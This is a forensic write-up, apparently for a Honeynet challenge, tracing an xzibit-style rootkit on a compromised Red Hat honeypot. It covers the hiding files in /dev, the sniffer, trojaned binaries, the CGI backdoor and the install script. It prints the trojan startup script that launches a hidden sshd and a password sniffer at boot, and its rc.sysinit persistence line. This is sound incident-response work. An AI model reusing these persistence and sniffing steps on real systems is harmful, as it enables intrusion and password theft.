==================================================================================================== Question 1: Show step by step how you identify and recover the deleted rootkit from the / partition ==================================================================================================== The / partition was investigated using standard unix tools (strings, grep, find) and with the Coroners Toolkit (http://www.fish.com/tct) I've got a lot of inspiration out of the excellent article of Dave Dittrich which can be found at http://staff.washington.edu/dittrich/misc/forensics. In the following sections I describe the steps followed to disect the system. After downloading the tar file I calculated the md5 checksum to check the consistency of the archive. The archive was untarred and its MD5 checksum was verified. A copy of the image was wtitten on cd to prevent loss of data. The untarred diskimage was then mounted with as /mnt with mount -o loop,ro,noexec extra/may/honeynet/honeypot.hda8.dd /mnt First I did a manual inspection of the partition, looking for obvious evidence of rootkits (strange files in /dev, checking passwd file ...) ================================================== 1. Finding "it" ================================================== 1.1 Inspection of /dev ---------------------- 1.1.1 masquerading processes and connections Most rootkits use files in /dev to hide processes and connections in combination with trojaned versions of ps, top, netstat, therefore it's our first place to look for suspicious things. Obvious inconsistencies were found: /dev/last -rw-r--r-- 1 root root 87 Mar 16 02:45 last /dev/rpm -rw-r--r-- 1 root root 71 Mar 16 02:45 rpm We don't expect "normal" files to be present in /dev so they are probably placed there by our hacker. Let's check their content # more last 1 193.231.139 1 213.154.137 1 193.254.34 3 48744 3 3666 3 31221 3 22546 4 48744 4 2222 This seems to be a typical masquerading file for hiding connections in netstat # more rpm 3 sl2 3 sshdu 3 linsniffer 3 smurf 3 slice 3 mech 3 muh 3 bnc 3 psybnc This hides processes from appearing in ps and top 1.2 Contents of the rootkit "basedir" ------------------------------------- 1.2.1 Finding hidden directories The next step is to look for the rootkit "basedir" - the directory from which it operates. Most of the time those files are hidden in directories that start with a dot (so you won't spot them by doing a ls) I've verified this with find /mnt -name ".*" which showed two suspicious directories. "/dev/ida/.drag-on" "/dev/ida/.. " It was time to take a look in those 2 directories Below you can find the output from .drag-on -rwx------ 1 root root 7165 Mar 16 02:45 linsniffer -rwx------ 1 root root 75 Mar 16 02:45 logclear -rwxr-xr-x 1 root root 632066 Mar 16 02:45 mkxfs -rw-r--r-- 1 root root 708 Mar 16 02:45 s -rwxr-xr-x 1 root root 4060 Mar 16 02:45 sense -rwx------ 1 root root 8268 Mar 16 02:45 sl2 -rw------- 1 root root 540 Mar 16 02:45 ssh_host_key -rw------- 1 root root 512 Mar 16 15:45 ssh_random_seed -rw-r--r-- 1 root root 138 Mar 16 17:28 tcp.log "/dev/ida/.. " contains the same files all with modification time Mar 16 02:45. The .drag-on directory was used as operational directory because 2 files have different timestamps than the others which means that they were actively used. Haven't we seen most of this files allready ? I think so. These were part of the rootkit (xzibit) as described in "scan of the month 13" http://project.honeynet.org/scans/scan13/ 1.2.2 What is in the basedir I've included a description of the files for the completeness of this analysis. - linsniffer: This is a password sniffer that looks for connections on ftp (tcp/21), telnet (tcp/23), pop3 (tcp/110), pop2 (tcp/109), imap2 (tcp/143), rlogin (tcp/513), poppasswd (tcp/106) and writes the results to tcp.log. It's source can be found at http://packetstorm.securify.com/Exploit_Code_Archive/linsniffer.c - logclear: a script to kill linsniffer, remove it's log and restart it again - mkxfs: This file is not included in the xzibit rootkit but a "strings analysis" shows that this is an sshd i686-unknown-linux 1.2.27 sshd version %s [%s] - s: This is a ssh server systemwide configuration file which is used to launch a trojan sshd on tcp/5 but root login is not permitted (PermitRootLogin no). - sense: This is a perl script that sorts the output from linsniffer and extracts the passwords from it - sl2: This seems to be a portscanner - ssh_host_key: sshd host key - ssh_random_seed: sshd random seed - tcp.log: The logfile of linsniffer: ================================================== 2. Analysis of "suspicious" binaries ================================================== Possible "trojaned" binaries were inspected with strings (looking for masquerading entries /dev/last and /dev/rpm and similarities with xzibit) - ps: A strings analysis of ps shows that there is a reference to /dev/dsx (as in the xzibit rootkit) but no reference to /dev/rpm. This should mean that the mkxfs process is not hidden - netstat A strings analysis of netstat shows a reference to /dev/caca (as in the xzibit rootkit)in order to hide certain connections. No reference to /dev/last was found altough. - top: could not be examined because it is not on / - ifconfig: it seems that ifconfig is not trojaned (the string promisc is present) ================================================== 3. Analysis of history files ================================================== Another source of information if the history files (in case the hackers forget tho unset HISTFILE) The .bash_history of root showed some interesting facts exec tcsh ls mkdir /var/... ls cd /var/... ftp ftp.home.ro tar -zxvf emech-2.8.tar.gz cd emech-2.8 ./configure y make make make install mv sample.set mech.set pico mech.set ./mech cd /etc pico ftpaccess ls exit It seems that the hacker manually installed an irc bot (energymech irc bot from www.energymech.net) He created another hidden directory for it /var/... Irc bots are commonly used with this kind of rootkitting. It allows the hackers to bot-link, brag about their acheivements, and possible get root access from remote using the "party-line" The file ftpaccess was also emptied. The ftp server used is that of an romanian ISP domain-name: home.ro description: Romania Data Systems description: Str. Sf. Vineri nr. 25, Bl. 105C description: Bucharest, Romania This is also a link to the creators of the xzibit rootkit because they are also speeking romanian. I felt that further analysis is not possible using standard tools and decided to use TCT ================================================== 4. Analysis of the partition using TCT tools ================================================== 4.1 Steps followed ------------------ I first untarred the disk partition again and mounted it as /ana then I ran "grave-robber" on the partition to collect inode information for use in "mactime" On the body created by grave-robber I ran mactime to help form a timeline Altough this is only a partial timeline because we only have the data of the root partition. I've included this partial timeline as timeline.txt I then ran unrm on the partition to gather deleted data. The results of unrm were fed into lazarus (to sort and identify all usefull snippets of data) The interesting blocks are included in blocks.tar.gz I've then browsed through the recovered blocks using my browser, more, grep and ran strings on some interesting parts. Using this method I could recover several interesting "leftovers" 4.2 Analysis of intersting blocks --------------------------------- - block 9: This contained a piece of an archive. I've tried to recover it but some data was missing but I could expand a piece of it /last /last/ssh => 1.2.30 SSH This file seems to be an 1.2.30 ssh client. I've found several references to /home/Mech/ssh-1.2.30 in the strings analysis so it seems that this directory was used to compile the ssh client. This is analogous with the name of the irc bot installed by the hacker. - block 8499: This is the install script for the rootkit. I've included the file last.sh for your inspection. This scripts replaces ifconfig, netstat, ps and top with their trojaned counterparts and replaces mkxfs with the trojan sshd. After that it creates the /dev/rpm and /dev/last for masquerading the hackers processes and connections. It then creates the directories /dev/ida/.drag-on and /dev/ida/".. " and copies linsniffer, logclear, sense, sl2, mkxfs, s ssh_host_key ssh_random_seed to them and makes sure the file tcp.log exists by touching it. It then copies its version of /etc/inetd.conf and /etc/services. I assume ftp was commented out in inetd.conf (anonftp, and wu-ftpd were just installed on the system so one would expect that ftp should be activated from inetd) The following entries were not present in the "new" /etc/services rje 5/tcp # Remote Job Entry rje 5/udp # Remote Job Entry This because the hacker runs his trojan sshd on tcp/5 It then removes /usr/bin/lsattr and puts /usr/bin/lsattr -t1 -X53 -p in /etc/rc.d/rc.sysinit. We will see later the lsattr contains a startupscript for the trojan sshd and linsniffer. This action ensures that both programs are started when the system boots. The script tries to find out where apache is installed and copies an cgi script to the cgi-bin. This gives the hacker remote control over the system. It then gathers system info (uname, ip address ...) and puts this in a file "computer" which is mailed to last@linuxmail.org and bidi_damm@yahoo.com. As final act, the script wipes its source by removing the directory last, its tarball and the file "computer". - block 8510: This contains a bash scrip "sauber" from "socked" which is used as a logcleaner. It removes certain strings from the logs in /var/log. Furtheron in this this block I've found a copy of the hackers inetd.conf. - block 8516: This is the content of lsattr (trojan startup script) #!/bin/sh cd /dev/ida/.drag-on ./mkxfs -f ./s ./linsniffer >> ./tcp.log & cd / - block 8534: the hackers ssh_host_key this contained the address root@dil2.datainfosys.net This system is owned by the indian ISP datainfosys. - block 8547: This is the last.cgi script (referenced by the script in block 8499) that permits remote execution of commands using the ISINDEX tag. - block 84383: This is the mail sent out to the hacker containing the system details (cpu speed, ip address, uname -a) ================================================== 5. Conclusion ================================================== The rootkit is a badly modified xzibit-kit. The creators of this kit most probably have links with eachother as they both speak romanian. I assume ftp was disabled by the hacker maybe because they used this as an entry point to the system. Altough several other flaws were present in this system (redhat 6.2 newly installed) to allow hackers access to the system (also the statd exploit in nfs-utils) ==================================================================================================== Question 2: What files make up the deleted rootkit? ==================================================================================================== Installed in /dev/ida/.drag-on and /dev/ida/".. " - linsniffer - logclear - mkxfs - s - sense - sl2 - ssh_host_key - ssh_random_seed - tcp.log Installed in /dev - last - rpm Installed in /sbin -ifconfig Installed in /bin - netstat - ps Installed in /etc - services - inetd.conf Installed in /usr/bin - lsattr - top Additional tools - /var/... - mech (irc bot) - sauber - /last/ssh ==================================================================================================== Question 3: Was the rootkit ever actually installed on the system? How do you know? ==================================================================================================== Yes, we've found several trojaned files on the recoverd disk and the tcp.log file in /dev/ida/.drag-on contains data of connections to this host cr272065-a.wlfdle1.on.wave.home.com => asdf1 [21] ----- [Timed Out] ns2.giant.net => asdf1 [23] da#da,~daO~daO~daU~ #'da[~dac~!dan~da This can also be concluded from the mactime analysis Mar 16 01 17:28:30 20452 .a. -rwxr-xr-x root root /ana/bin/login 138 m.c -rw-r--r-- root root /ana/dev/ida/.drag-on/tcp.log You can see that somebody has logged in and that this is logged in tcp.log